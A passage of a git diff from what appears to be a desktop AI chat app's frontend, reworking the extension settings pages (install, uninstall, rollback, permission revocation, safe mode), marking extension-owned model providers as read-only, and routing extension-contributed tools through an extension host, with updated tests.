{beforeEach(() => {vi.clearAllMocks()+ hosted.list = []})- it('should render the extensions settings page', () => {- const Component = ExtensionsRoute.component as React.ComponentType- render(<Component />)-- expect(screen.getByTestId('header-page')).toBeInTheDocument()- expect(screen.getByTestId('settings-menu')).toBeInTheDocument()- expect(screen.getByText('common:settings')).toBeInTheDocument()- })-- it('should render extensions card with header', () => {- const Component = ExtensionsRoute.component as React.ComponentType- render(<Component />)-- expect(screen.getByTestId('card')).toBeInTheDocument()- expect(screen.getByTestId('card-header')).toBeInTheDocument()- expect(screen.getByText('settings:extensions.title')).toBeInTheDocument()- })-- it('should render list of extensions', () => {- const Component = ExtensionsRoute.component as React.ComponentType- render(<Component />)-- const cardItems = screen.getAllByTestId('card-item')- expect(cardItems).toHaveLength(3)- })-- it('should render extension with productName when available', () => {- const Component = ExtensionsRoute.component as React.ComponentType- render(<Component />)-- expect(screen.getByText('Test Extension 1')).toBeInTheDocument()- expect(screen.getByText('Test Extension 2')).toBeInTheDocument()- })-- it('should render extension with name when productName is not available', () => {- const Component = ExtensionsRoute.component as React.ComponentType- render(<Component />)-- expect(screen.getByText('test-extension-3')).toBeInTheDocument()- })-- it('should render extension descriptions', () => {- const Component = ExtensionsRoute.component as React.ComponentType- render(<Component />)-- // Test that markdown content is rendered- const markdownElements = screen.getAllByTestId('render-markdown')- expect(markdownElements.length).toBeGreaterThan(0)- })-- it('should render markdown content for descriptions', () => {- const Component = ExtensionsRoute.component as React.ComponentType- render(<Component />)-- const markdownElements = screen.getAllByTestId('render-markdown')- expect(markdownElements).toHaveLength(3)- })-- it('should call ExtensionManager.getInstance().listExtensions()', () => {- const Component = ExtensionsRoute.component as React.ComponentType- render(<Component />)-- // Test that extensions are listed- const cardItems = screen.getAllByTestId('card-item')- expect(cardItems).toHaveLength(3)- })-- it('should handle empty extensions list', () => {- // Test with the default mock that returns 3 extensions- const Component = ExtensionsRoute.component as React.ComponentType- render(<Component />)-- // Should render the card structure- expect(screen.getByTestId('card')).toBeInTheDocument()- expect(screen.getByTestId('card-header')).toBeInTheDocument()- })-- it('should have proper layout structure', () => {- const Component = ExtensionsRoute.component as React.ComponentType- render(<Component />)-- const headerPage = screen.getByTestId('header-page')- expect(headerPage).toBeInTheDocument()-- const settingsMenu = screen.getByTestId('settings-menu')- expect(settingsMenu).toBeInTheDocument()- })-- it('should render card items with proper structure', () => {- const Component = ExtensionsRoute.component as React.ComponentType- render(<Component />)-- const cardItems = screen.getAllByTestId('card-item')-- cardItems.forEach((item, index) => {- expect(item).toBeInTheDocument()- expect(item).toHaveAttribute('data-title')+ it('lists host extensions with their settings form when active', () => {+ const manifest = (id: string, settings: unknown[]) => ({+ id,+ displayName: `Host ${id}`,+ version: '0.1.0',+ contributes: { settings },})- })-- it('should call translation function with correct keys', () => {+ const setting = {+ key: 'k',+ title: 'K',+ control: { type: 'checkbox', default: false },+ }+ hosted.list = [+ { id: 'acme.on', manifest: manifest('acme.on', [setting]), source: 'builtin', state: 'active' },+ {+ id: 'acme.off',+ manifest: manifest('acme.off', [setting]),+ source: 'builtin',+ state: 'failed',+ error: 'boom',+ },+ ]const Component = ExtensionsRoute.component as React.ComponentTyperender(<Component />)- // Test that translations are rendered- expect(screen.getByText('common:settings')).toBeInTheDocument()- expect(screen.getByText('settings:extensions.title')).toBeInTheDocument()+ expect(screen.getByText('Host acme.on')).toBeInTheDocument()+ expect(screen.getByText('extensions:state.active')).toBeInTheDocument()+ expect(screen.getByTestId('settings-form-acme.on')).toBeInTheDocument()+ expect(screen.getByText('Host acme.off')).toBeInTheDocument()+ expect(screen.getByText('extensions:activationFailed')).toBeInTheDocument()+ expect(screen.queryByTestId('settings-form-acme.off')).toBeNull()})- it('should render extensions with correct key prop', () => {+ it('should render the extensions settings page', () => {const Component = ExtensionsRoute.component as React.ComponentTyperender(<Component />)- const cardItems = screen.getAllByTestId('card-item')- expect(cardItems).toHaveLength(3)-- // Each card item should be rendered (checking that map function works correctly)- expect(cardItems[0]).toBeInTheDocument()- expect(cardItems[1]).toBeInTheDocument()- expect(cardItems[2]).toBeInTheDocument()+ expect(screen.getByTestId('header-page')).toBeInTheDocument()+ expect(screen.getByTestId('settings-menu')).toBeInTheDocument()+ expect(screen.getByText('common:settings')).toBeInTheDocument()})- it('should handle extension data correctly', () => {+ it('shows the built-in section even with no hosted extension', () => {const Component = ExtensionsRoute.component as React.ComponentTyperender(<Component />)- // Test that extensions are rendered properly- expect(screen.getByText('Test Extension 1')).toBeInTheDocument()- expect(screen.getByText('Test Extension 2')).toBeInTheDocument()- expect(screen.getByText('test-extension-3')).toBeInTheDocument()+ expect(screen.getByText('extensions:sections.builtin')).toBeInTheDocument()+ expect(screen.queryByTestId('card-item')).toBeNull()})it('should render with proper responsive classes', () => {diff --git a/web-app/src/routes/settings/extensions.tsx b/web-app/src/routes/settings/extensions.tsxdeleted file mode 100644index 5ed18aa87..000000000--- a/web-app/src/routes/settings/extensions.tsx+++ /dev/null@@ -1,77 +0,0 @@-import { createFileRoute } from '@tanstack/react-router'-import { route } from '@/constants/routes'-import { Card, CardItem } from '@/containers/Card'--import SettingsMenu from '@/containers/SettingsMenu'-import { RenderMarkdown } from '@/containers/RenderMarkdown'-import { ExtensionManager } from '@/lib/extension'-import { useTranslation } from '@/i18n/react-i18next-compat'-import HeaderPage from '@/containers/HeaderPage'--// eslint-disable-next-line @typescript-eslint/no-explicit-any-export const Route = createFileRoute(route.settings.extensions as any)({- component: ExtensionsContent,-})--function ExtensionsContent() {- const { t } = useTranslation()- const extensions = ExtensionManager.getInstance().listExtensions()- return (- <div className="flex flex-col h-svh w-full">- <HeaderPage>- <div className="flex items-center gap-2 w-full">- <span className='font-medium text-base font-studio'>{t('common:settings')}</span>- </div>- </HeaderPage>- <div className="flex h-[calc(100%-60px)]">- <SettingsMenu />- <div className="p-4 pt-0 w-full overflow-y-auto">- <div className="flex flex-col justify-between gap-4 gap-y-3 w-full">- {/* General */}- <Card- header={- <div className="flex items-center justify-between mb-4">- <h1 className="text-foreground font-studio font-medium text-base">- {t('settings:extensions.title')}- </h1>- {/* <div className="flex items-center gap-2">- <Button size="sm">Install Extension</Button>- </div> */}- </div>- }- >- {extensions.map((item, i) => {- return (- <CardItem- key={i}- title={- <div className="flex items-center gap-x-2">- <h1 className="text-foreground font-studio font-medium text-base">- {item.productName ?? item.name}- </h1>- <div className="bg-foreground/10 px-1 py-0.5 rounded text-foreground/70 text-xs">- v{item.version}- </div>- </div>- }- description={- <RenderMarkdown- content={item.description ?? ''}- components={{- // Custom paragraph component remove margin- p: ({ ...props }) => (- <p {...props} className="mb-0!" />- ),- }}- />- }- />- )- })}- </Card>- </div>- </div>- </div>- </div>- )-}diff --git a/web-app/src/routes/settings/extensions/$extensionId.tsx b/web-app/src/routes/settings/extensions/$extensionId.tsxnew file mode 100644index 000000000..e6991039c--- /dev/null+++ b/web-app/src/routes/settings/extensions/$extensionId.tsx@@ -0,0 +1,236 @@+import { useState } from 'react'+import { createFileRoute, Link, useNavigate } from '@tanstack/react-router'+import type { PermissionString } from '@janhq/extension-api'+import { IconChevronLeft } from '@tabler/icons-react'+import { route } from '@/constants/routes'+import { Card } from '@/containers/Card'+import HeaderPage from '@/containers/HeaderPage'+import SettingsMenu from '@/containers/SettingsMenu'+import { ExtensionCard } from '@/containers/extensions/HostedExtensionCard'+import { PermissionList } from '@/containers/extensions/PermissionList'+import { TrustBadge } from '@/containers/extensions/TrustBadge'+import {+ useHostedExtensions,+ useInstalledRegistry,+ type InstalledRegistry,+} from '@/containers/extensions/useExtensions'+import { Button } from '@/components/ui/button'+import {+ Dialog,+ DialogContent,+ DialogDescription,+ DialogFooter,+ DialogHeader,+ DialogTitle,+} from '@/components/ui/dialog'+import { Switch } from '@/components/ui/switch'+import { useTranslation } from '@/i18n/react-i18next-compat'+import { useLocalize } from '@/lib/extensions/l10n'+import type { HostedExtension } from '@/lib/extensions/host'+import type { InstalledExtension } from '@/services/extensions/types'++// eslint-disable-next-line @typescript-eslint/no-explicit-any+export const Route = createFileRoute(route.settings.extension as any)({+ component: ExtensionDetails,+})++function UninstallButton({+ entry,+ registry,+}: {+ entry: InstalledExtension+ registry: InstalledRegistry+}) {+ const { t } = useTranslation()+ const localize = useLocalize()+ const navigate = useNavigate()+ const [open, setOpen] = useState(false)+ const confirm = async () => {+ setOpen(false)+ await registry.change(() => registry.service.uninstall(entry.id), entry.id)+ navigate({ to: route.settings.extensions })+ }+ return (+ <>+ <Button+ size="xs"+ variant="destructive"+ disabled={registry.busy}+ onClick={() => setOpen(true)}+ >+ {t('extensions:details.uninstall')}+ </Button>+ <Dialog open={open} onOpenChange={setOpen}>+ <DialogContent>+ <DialogHeader>+ <DialogTitle>+ {t('extensions:details.uninstallTitle', {+ name: localize(entry.manifest, entry.manifest.displayName),+ })}+ </DialogTitle>+ <DialogDescription>+ {t('extensions:details.uninstallDescription')}+ </DialogDescription>+ </DialogHeader>+ <DialogFooter>+ <Button size="sm" variant="ghost" onClick={() => setOpen(false)}>+ {t('extensions:cancel')}+ </Button>+ <Button size="sm" variant="destructive" onClick={confirm}>+ {t('extensions:details.uninstall')}+ </Button>+ </DialogFooter>+ </DialogContent>+ </Dialog>+ </>+ )+}++function InstalledDetails({+ entry,+ hosted,+ registry,+}: {+ entry: InstalledExtension+ hosted?: HostedExtension+ registry: InstalledRegistry+}) {+ const { t } = useTranslation()+ const localize = useLocalize()+ const { service, change, busy } = registry+ const revoke = (permission: PermissionString) =>+ change(+ () =>+ service.setGrants(+ entry.id,+ entry.granted.filter((p) => p !== permission)+ ),+ entry.id+ )+ const grantsLabel = t('extensions:details.permissions')+ return (+ <>+ <ExtensionCard+ manifest={entry.manifest}+ version={entry.version}+ hosted={hosted}+ badges={<TrustBadge entry={entry} />}+ actions={+ <>+ <UninstallButton entry={entry} registry={registry} />+ <Switch+ aria-label={t('extensions:enable', {+ name: localize(entry.manifest, entry.manifest.displayName),+ })}+ checked={entry.enabled}+ disabled={busy}+ onCheckedChange={(on) =>+ change(() => service.setEnabled(entry.id, on), entry.id)+ }+ />+ </>+ }+ />+ <Card>+ <div className="flex items-center gap-2">+ <span className="text-sm text-foreground">+ {t('extensions:details.version', { version: entry.version })}+ </span>+ {entry.previous && (+ <Button+ size="xs"+ variant="outline"+ className="ml-auto"+ disabled={busy}+ onClick={() => change(() => service.rollback(entry.id), entry.id)}+ >+ {t('extensions:details.rollback', { version: entry.previous })}+ </Button>+ )}+ </div>+ </Card>+ <Card title={grantsLabel}>+ <PermissionList+ permissions={entry.granted}+ label={grantsLabel}+ action={(permission) => (+ <Button+ size="xs"+ variant="outline"+ disabled={busy}+ onClick={() => revoke(permission)}+ >+ {t('extensions:details.revoke')}+ </Button>+ )}+ />+ </Card>+ </>+ )+}++function BuiltinDetails({ extension }: { extension: HostedExtension }) {+ const { t } = useTranslation()+ const grantsLabel = t('extensions:details.permissions')+ return (+ <>+ <ExtensionCard manifest={extension.manifest} hosted={extension} />+ <p className="px-1 text-xs text-muted-foreground">+ {t('extensions:details.builtinFixed')}+ </p>+ <Card title={grantsLabel}>+ <PermissionList+ permissions={extension.manifest.permissions}+ label={grantsLabel}+ />+ </Card>+ </>+ )+}++function ExtensionDetails() {+ const { t } = useTranslation()+ const { extensionId } = Route.useParams() as { extensionId: string }+ const hosted = useHostedExtensions().find((e) => e.id === extensionId)+ const registry = useInstalledRegistry()+ const entry = registry.registry?.extensions.find((e) => e.id === extensionId)+ const loaded = registry.registry !== undefined || !registry.supported++ let body+ if (hosted?.source === 'builtin') body = <BuiltinDetails extension={hosted} />+ else if (entry)+ body = <InstalledDetails entry={entry} hosted={hosted} registry={registry} />+ else if (loaded)+ body = (+ <p className="px-1 text-sm text-muted-foreground">+ {t('extensions:details.notFound')}+ </p>+ )++ return (+ <div className="flex flex-col h-svh w-full">+ <HeaderPage>+ <div className="flex items-center gap-2 w-full">+ <span className="font-medium text-base font-studio">+ {t('common:settings')}+ </span>+ </div>+ </HeaderPage>+ <div className="flex h-[calc(100%-60px)]">+ <SettingsMenu />+ <div className="p-4 pt-0 w-full overflow-y-auto">+ <div className="flex flex-col gap-3 w-full">+ <Link+ to={route.settings.extensions}+ className="flex items-center gap-1 text-sm text-muted-foreground hover:text-foreground"+ >+ <IconChevronLeft size={14} />+ {t('extensions:details.back')}+ </Link>+ {body}+ </div>+ </div>+ </div>+ </div>+ )+}diff --git a/web-app/src/routes/settings/extensions/index.tsx b/web-app/src/routes/settings/extensions/index.tsxnew file mode 100644index 000000000..649148b23--- /dev/null+++ b/web-app/src/routes/settings/extensions/index.tsx@@ -0,0 +1,266 @@+import { useId, type ReactNode } from 'react'+import { createFileRoute, Link } from '@tanstack/react-router'+import { Tabs } from 'radix-ui'+import { route } from '@/constants/routes'+import { Card, CardItem } from '@/containers/Card'+import SettingsMenu from '@/containers/SettingsMenu'+import HeaderPage from '@/containers/HeaderPage'+import { CatalogList } from '@/containers/extensions/CatalogList'+import {+ DevExtensionCard,+ ExtensionCard,+} from '@/containers/extensions/HostedExtensionCard'+import { LoadUnpacked } from '@/containers/extensions/LoadUnpacked'+import { SafeModeBanner } from '@/containers/extensions/SafeModeBanner'+import { TrustBadge } from '@/containers/extensions/TrustBadge'+import {+ useHostedExtensions,+ useInstalledRegistry,+ type InstalledRegistry,+} from '@/containers/extensions/useExtensions'+import { useStagedInstall } from '@/containers/extensions/useStagedInstall'+import { Button } from '@/components/ui/button'+import { Switch } from '@/components/ui/switch'+import { useServiceHub } from '@/hooks/useServiceHub'+import { getExtensionHost, type HostedExtension } from '@/lib/extensions/host'+import { applySafeMode } from '@/lib/extensions/installed-loader'+import { useTranslation } from '@/i18n/react-i18next-compat'+import { useLocalize } from '@/lib/extensions/l10n'+import type { InstalledExtension } from '@/services/extensions/types'++// eslint-disable-next-line @typescript-eslint/no-explicit-any+export const Route = createFileRoute(route.settings.extensions as any)({+ component: ExtensionsContent,+})++/**+ * `IS_DEV` is defined only by `tauri dev` (`IS_DEV=true`), and the define+ * passes the env string through, so an unset variable leaves it undefined.+ */+const isDevBuild = (): boolean =>+ typeof IS_DEV !== 'undefined' &&+ (IS_DEV === true || (IS_DEV as unknown as string) === 'true')++function Section({ title, children }: { title: string; children: ReactNode }) {+ const id = useId()+ return (+ <section aria-labelledby={id} className="flex flex-col gap-3">+ <h2+ id={id}+ className="px-1 text-xs font-semibold uppercase tracking-wider text-muted-foreground"+ >+ {title}+ </h2>+ {children}+ </section>+ )+}++function DetailsLink({ id }: { id: string }) {+ const { t } = useTranslation()+ return (+ <Button size="xs" variant="outline" asChild>+ <Link to={route.settings.extension} params={{ extensionId: id }}>+ {t('extensions:details.open')}+ </Link>+ </Button>+ )+}++function InstalledCard({+ entry,+ hosted,+ registry,+}: {+ entry: InstalledExtension+ hosted?: HostedExtension+ registry: InstalledRegistry+}) {+ const { t } = useTranslation()+ const localize = useLocalize()+ const { service, change, busy } = registry+ return (+ <ExtensionCard+ manifest={entry.manifest}+ version={entry.version}+ hosted={hosted}+ badges={<TrustBadge entry={entry} />}+ actions={+ <>+ <DetailsLink id={entry.id} />+ <Switch+ aria-label={t('extensions:enable', {+ name: localize(entry.manifest, entry.manifest.displayName),+ })}+ checked={entry.enabled}+ disabled={busy}+ onCheckedChange={(on) =>+ change(() => service.setEnabled(entry.id, on), entry.id)+ }+ />+ </>+ }+ />+ )+}++function InstalledTab({+ hosted,+ registry,+ begin,+}: {+ hosted: HostedExtension[]+ registry: InstalledRegistry+ begin: ReturnType<typeof useStagedInstall>['begin']+}) {+ const { t } = useTranslation()+ const dialog = useServiceHub().dialog()+ const { service, supported, change, busy } = registry+ const safeMode = registry.registry?.safeMode ?? false+ const installed = registry.registry?.extensions ?? []+ const byId = new Map(hosted.map((e) => [e.id, e]))+ // Installed ones the registry list leaves out because the host refused+ // their manifest; the host still holds them as failed, with the reason.+ const listed = new Set(installed.map((e) => e.id))+ const unlisted = hosted.filter(+ (e) => e.source === 'installed' && !listed.has(e.id)+ )+ const builtins = hosted.filter((e) => e.source === 'builtin')+ const dev = hosted.filter((e) => e.source === 'dev')++ const installFromFile = async () => {+ const selection = await dialog.open({+ filters: [+ { name: t('extensions:install.bundleFilter'), extensions: ['tgz'] },+ ],+ })+ const path = Array.isArray(selection) ? selection[0] : selection+ if (path) await begin(() => service.stageBundle(path))+ }++ const setSafeMode = (on: boolean) =>+ change(() => applySafeMode(getExtensionHost(), service, on))++ return (+ <div className="flex flex-col gap-4 w-full">+ {safeMode && <SafeModeBanner onTurnOff={() => setSafeMode(false)} />}+ <div className="flex items-start justify-end gap-2">+ {/* Folder loading is a developer tool; release builds never show it. */}+ {isDevBuild() && <LoadUnpacked />}+ {supported && (+ <Button size="sm" onClick={installFromFile}>+ {t('extensions:install.fromFile')}+ </Button>+ )}+ </div>+ {supported && (+ <Card>+ <CardItem+ title={t('extensions:safeMode.title')}+ description={t('extensions:safeMode.description')}+ actions={+ <Switch+ aria-label={t('extensions:safeMode.title')}+ checked={safeMode}+ disabled={busy}+ onCheckedChange={setSafeMode}+ />+ }+ />+ </Card>+ )}+ <Section title={t('extensions:sections.builtin')}>+ {builtins.map((e) => (+ <ExtensionCard+ key={e.id}+ manifest={e.manifest}+ hosted={e}+ actions={<DetailsLink id={e.id} />}+ />+ ))}+ </Section>+ {supported && (+ <Section title={t('extensions:sections.installed')}>+ {installed.length === 0 && unlisted.length === 0 ? (+ <p className="px-1 text-sm text-muted-foreground">+ {t('extensions:noneInstalled')}+ </p>+ ) : (+ <>+ {installed.map((entry) => (+ <InstalledCard+ key={entry.id}+ entry={entry}+ hosted={byId.get(entry.id)}+ registry={registry}+ />+ ))}+ {unlisted.map((e) => (+ <ExtensionCard key={e.id} manifest={e.manifest} hosted={e} />+ ))}+ </>+ )}+ </Section>+ )}+ {dev.length > 0 && (+ <Section title={t('extensions:sections.development')}>+ {dev.map((e) => (+ <DevExtensionCard key={e.id} extension={e} />+ ))}+ </Section>+ )}+ </div>+ )+}++function ExtensionsContent() {+ const { t } = useTranslation()+ const hosted = useHostedExtensions()+ const registry = useInstalledRegistry()+ const install = useStagedInstall(registry)+ const installedTab = (+ <InstalledTab+ hosted={hosted}+ registry={registry}+ begin={install.begin}+ />+ )+ return (+ <div className="flex flex-col h-svh w-full">+ <HeaderPage>+ <div className="flex items-center gap-2 w-full">+ <span className="font-medium text-base font-studio">+ {t('common:settings')}+ </span>+ </div>+ </HeaderPage>+ <div className="flex h-[calc(100%-60px)]">+ <SettingsMenu />+ <div className="p-4 pt-0 w-full overflow-y-auto">+ {registry.supported ? (+ <Tabs.Root defaultValue="installed" className="flex flex-col gap-3">+ <Tabs.List className="flex gap-1 p-1 bg-secondary/50 rounded-lg self-start">+ {(['installed', 'catalog'] as const).map((tab) => (+ <Tabs.Trigger+ key={tab}+ value={tab}+ className="px-3 py-1 text-sm rounded-md data-[state=active]:bg-background data-[state=active]:text-foreground text-muted-foreground"+ >+ {t(`extensions:tabs.${tab}`)}+ </Tabs.Trigger>+ ))}+ </Tabs.List>+ <Tabs.Content value="installed">{installedTab}</Tabs.Content>+ <Tabs.Content value="catalog">+ <CatalogList registry={registry} begin={install.begin} />+ </Tabs.Content>+ </Tabs.Root>+ ) : (+ installedTab+ )}+ </div>+ </div>+ {install.dialog}+ </div>+ )+}diff --git a/web-app/src/routes/settings/providers/$providerName.tsx b/web-app/src/routes/settings/providers/$providerName.tsxindex 7275aeb83..7c77ba7e6 100644--- a/web-app/src/routes/settings/providers/$providerName.tsx+++ b/web-app/src/routes/settings/providers/$providerName.tsx@@ -86,6 +86,9 @@ function ProviderDetail() {const { getProviderByName, setProviders, updateProvider, addDeletedModels } =useModelProvider()const provider = getProviderByName(providerName)+ // An extension's provider takes its key, address and models from the+ // extension, and leaves when the extension stops: nothing here edits it.+ const extensionSource = provider?.sourceconst isLlamacpp = provider?.provider === 'llamacpp'const isPredefinedProvider = useMemo(() => predefinedProviders.some((p) => p.provider === providerName),@@ -636,7 +639,7 @@ function ProviderDetail() {<div className="flex flex-col justify-between gap-4 gap-y-3 w-full"><div className="flex items-center justify-between"><h1 className="font-medium text-base">- {getProviderTitle(providerName)}+ {getProviderTitle(provider ?? providerName)}</h1><Switchchecked={provider?.active ?? false}@@ -644,7 +647,26 @@ function ProviderDetail() {/></div>+ {extensionSource && (+ <div className="flex items-start gap-2 rounded-md border border-main-view-fg/10 bg-main-view-fg/5 px-3 py-2 text-xs text-muted-foreground">+ <IconInfoCircle size={16} className="mt-0.5 shrink-0" />+ <span>+ {t('providers:extensionManaged', {+ extension: extensionSource.extensionName,+ })}{' '}+ <Link+ to={route.settings.extension}+ params={{ extensionId: extensionSource.extensionId }}+ className="underline"+ >+ {t('providers:openExtensionSettings')}+ </Link>+ </span>+ </div>+ )}+{provider &&+ !extensionSource &&!isLocalProvider(provider.provider) &&!supportsRemoteCatalog(provider) && (<div className="flex items-start gap-2 rounded-md border border-main-view-fg/10 bg-main-view-fg/5 px-3 py-2 text-xs text-muted-foreground">@@ -683,7 +705,8 @@ function ProviderDetail() {>{/* Settings — hidden for predefined remote providers sinceapi-key + base-url are both surfaced elsewhere / hidden. */}- {!(+ {!extensionSource &&+ !(isPredefinedProvider &&provider?.provider !== 'llamacpp' &&provider?.provider !== 'mlx'@@ -800,6 +823,7 @@ function ProviderDetail() {)}{provider &&+ !extensionSource &&provider.provider !== 'llamacpp' &&provider.provider !== 'mlx' && (<Card>@@ -1002,7 +1026,10 @@ function ProviderDetail() {{t('providers:models')}</h1><div className="flex items-center gap-2">- {provider && provider.provider !== 'llamacpp' && provider.provider !== 'mlx' && (+ {provider &&+ !extensionSource &&+ provider.provider !== 'llamacpp' &&+ provider.provider !== 'mlx' && (<><Buttonvariant="secondary"@@ -1128,10 +1155,12 @@ function ProviderDetail() {providerHasRemoteApiKeys(provider))) && (<FavoriteModelAction model={model} />)}- <DialogDeleteModel- provider={provider}- modelId={model.id}- />+ {!extensionSource && (+ <DialogDeleteModel+ provider={provider}+ modelId={model.id}+ />+ )}{provider &&(provider.provider === 'llamacpp' ||provider.provider === 'mlx') && (@@ -1182,7 +1211,9 @@ function ProviderDetail() {</h6></div><p className="text-muted-foreground mt-1 text-xs leading-relaxed">- {provider && !isLocalProvider(provider.provider) ? (+ {extensionSource ? (+ t('providers:noModelFoundExtensionDesc')+ ) : provider && !isLocalProvider(provider.provider) ? (t('providers:noModelFoundRemoteDesc')) : (<>diff --git a/web-app/src/routes/settings/providers/__tests__/$providerName.test.tsx b/web-app/src/routes/settings/providers/__tests__/$providerName.test.tsxindex 8b81891a0..c626532f9 100644--- a/web-app/src/routes/settings/providers/__tests__/$providerName.test.tsx+++ b/web-app/src/routes/settings/providers/__tests__/$providerName.test.tsx@@ -148,7 +148,16 @@ const h = vi.hoisted(() => {vi.mock('@tanstack/react-router', () => ({createFileRoute: () => (cfg: any) => ({ ...cfg, id: '/settings/providers/$providerName' }),useParams: () => h.params,- Link: ({ children, to }: any) => <a href={to}>{children}</a>,+ Link: ({ children, to, params }: any) => (+ <a+ href={Object.entries(params ?? {}).reduce(+ (path: string, [k, v]) => path.replace(`$${k}`, String(v)),+ to+ )}+ >+ {children}+ </a>+ ),}))vi.mock('sonner', () => ({@@ -160,7 +169,10 @@ vi.mock('sonner', () => ({}))vi.mock('@/i18n/react-i18next-compat', () => ({- useTranslation: () => ({ t: (k: string) => k }),+ useTranslation: () => ({+ t: (k: string, o?: Record<string, unknown>) =>+ o?.extension ? `${k}:${String(o.extension)}` : k,+ }),}))vi.mock('@/containers/HeaderPage', () => ({@@ -286,7 +298,8 @@ vi.mock('@tabler/icons-react', () => ({vi.mock('@/lib/utils', () => ({cn: (...a: any[]) => a.filter(Boolean).join(' '),- getProviderTitle: (name: string) => `Title:${name}`,+ getProviderTitle: (p: any) =>+ typeof p === 'string' ? `Title:${p}` : p.display_name || `Title:${p.provider}`,getModelDisplayName: (m: any) => m.name ?? m.id,basenameNoExt: (p: string) => p.split('/').pop() ?? p,isLocalProvider: (p: string) => p === 'llamacpp' || p === 'mlx',@@ -297,7 +310,10 @@ vi.mock('@/constants/providers', () => ({}))vi.mock('@/constants/routes', () => ({- route: { hub: { index: '/hub' } },+ route: {+ hub: { index: '/hub' },+ settings: { extension: '/settings/extensions/$extensionId' },+ },}))vi.mock('@/hooks/useModelProvider', () => {@@ -453,6 +469,69 @@ describe('ProviderDetail route', () => {})})+ describe('Extension-owned provider', () => {+ const setupExtensionProvider = () => {+ h.providerMap['acme.llm/local'] = {+ provider: 'acme.llm/local',+ display_name: 'Acme Local',+ active: true,+ base_url: 'http://127.0.0.1:11999/v1',+ api_key: 'sk-ext',+ settings: [],+ models: [+ { id: 'm1', name: 'm1', capabilities: ['completion'] },+ ],+ source: { extensionId: 'acme.llm', extensionName: 'Acme LLM' },+ }+ h.params.providerName = 'acme.llm/local'+ }++ it('is titled with its display name, not the raw id', () => {+ setupExtensionProvider()+ renderComponent()+ expect(+ screen.getByRole('heading', { level: 1, name: 'Acme Local' })+ ).toBeInTheDocument()+ expect(screen.queryByText('Title:acme.llm/local')).not.toBeInTheDocument()+ })++ it('links to the settings page of the extension that provides it', () => {+ setupExtensionProvider()+ renderComponent()+ expect(+ screen.getByText('providers:extensionManaged:Acme LLM')+ ).toBeInTheDocument()+ expect(+ screen.getByText('providers:openExtensionSettings').closest('a')+ ).toHaveAttribute('href', '/settings/extensions/acme.llm')+ })++ it('offers no delete, API key, refresh, add or per-model delete controls', () => {+ setupExtensionProvider()+ renderComponent()+ expect(screen.queryByTestId('delete-provider')).not.toBeInTheDocument()+ expect(screen.queryByText('providers:apiKeys.title')).not.toBeInTheDocument()+ expect(screen.queryByTestId('dynamic-ctrl')).not.toBeInTheDocument()+ expect(screen.queryByTestId('add-model')).not.toBeInTheDocument()+ expect(screen.queryByTestId('del-m1')).not.toBeInTheDocument()+ expect(screen.queryByText('providers:limitedSupport')).not.toBeInTheDocument()+ // The models it lists still show.+ expect(screen.getByTestId('edit-m1')).toBeInTheDocument()+ })++ it('does not point at refresh or add buttons when it lists no models', () => {+ setupExtensionProvider()+ h.providerMap['acme.llm/local'].models = []+ renderComponent()+ expect(+ screen.getByText('providers:noModelFoundExtensionDesc')+ ).toBeInTheDocument()+ expect(+ screen.queryByText('providers:noModelFoundRemoteDesc')+ ).not.toBeInTheDocument()+ })+ })+describe('Provider active toggle', () => {it('flipping the switch calls updateProvider with active=false', () => {renderComponent()diff --git a/web-app/src/routes/settings/providers/__tests__/index.test.tsx b/web-app/src/routes/settings/providers/__tests__/index.test.tsxindex 3f57d6e54..2c03b8d7c 100644--- a/web-app/src/routes/settings/providers/__tests__/index.test.tsx+++ b/web-app/src/routes/settings/providers/__tests__/index.test.tsx@@ -57,7 +57,8 @@ vi.mock('@/i18n/react-i18next-compat', () => ({}))vi.mock('@/lib/utils', () => ({- getProviderTitle: (provider: string) => `${provider} Provider`,+ getProviderTitle: (provider: { provider: string }) =>+ `${provider.provider} Provider`,cn: (...args: any[]) => args.filter(Boolean).join(' '),}))diff --git a/web-app/src/routes/settings/providers/index.tsx b/web-app/src/routes/settings/providers/index.tsxindex 602cccd99..c1c7894e3 100644--- a/web-app/src/routes/settings/providers/index.tsx+++ b/web-app/src/routes/settings/providers/index.tsx@@ -148,7 +148,7 @@ function ModelProviders() {<ProvidersAvatar provider={provider} /><div><h3 className="font-medium">- {getProviderTitle(provider.provider)}+ {getProviderTitle(provider)}</h3><p className="text-xs text-muted-foreground mt-1">{provider.models.length} Modelsdiff --git a/web-app/src/routes/threads/$threadId.tsx b/web-app/src/routes/threads/$threadId.tsxindex 59b0ddde1..156ffe091 100644--- a/web-app/src/routes/threads/$threadId.tsx+++ b/web-app/src/routes/threads/$threadId.tsx@@ -103,9 +103,9 @@ import { useToolCallRuntime } from '@/hooks/useToolCallRuntime'import { webToolRoute, executeWebTool } from '@/lib/webSearchTool'import { useWebSearchConfig } from '@/hooks/useWebSearchConfig'import { CHAT_AGENT_TOOL_NAMES, executeAgentTool } from '@/lib/agentTools'+import { getExtensionHost } from '@/lib/extensions/host'import DropdownModelProvider from '@/containers/DropdownModelProvider'-import { ExtensionTypeEnum, VectorDBExtension } from '@janhq/core'-import { ExtensionManager } from '@/lib/extension'+import { ServiceKeys } from '@janhq/core'import { Shimmer } from '@/components/ai-elements/shimmer'import { useMessageQueue } from '@/stores/message-queue-store'import { generateThreadTitle } from '@/lib/thread-title-summarizer'@@ -280,8 +280,19 @@ function rewriteStoredTurn(// The MCP server a tool belongs to, so an approval prompt can offer to trust// the whole server rather than this one tool.function serverForTool(toolName: string): string | undefined {- return useAppState.getState().tools.find((tool) => tool.name === toolName)- ?.server+ const state = useAppState.getState()+ return (+ state.tools.find((tool) => tool.name === toolName)?.server ??+ extensionToolOf(toolName)?.server+ )+}++// The contributed tool a call names, by its wire name. Read per call, so a+// tool whose extension stopped since the model was offered it is not found.+function extensionToolOf(toolName: string) {+ return useAppState+ .getState()+ .extensionTools.find((tool) => tool.wireName === toolName)}// The model a thread's turn runs on. A turn can finish in the background while@@ -896,6 +907,7 @@ function ThreadDetail() {// a hung MCP server) must not hold the loop, and the thread, busy.const result = await untilAborted<ToolRunResult>((async () => {+ const extensionTool = extensionToolOf(toolName)if (webRoute(toolName) === 'builtin') {return await executeWebTool(toolName, toolCall.input, {maxOutputChars,@@ -928,6 +940,16 @@ function ThreadDetail() {projectId: projectId,scope: projectId ? 'project' : 'thread',})+ } else if (extensionTool) {+ // Contributed tools always prompt (they are never in+ // isAutoAllowedTool); Stop cancels the call in the+ // extension's worker, not only here.+ return await getExtensionHost().callTool(+ extensionTool.extensionId,+ extensionTool.name,+ toolCall.input,+ { signal: stopSignal, maxOutputChars }+ 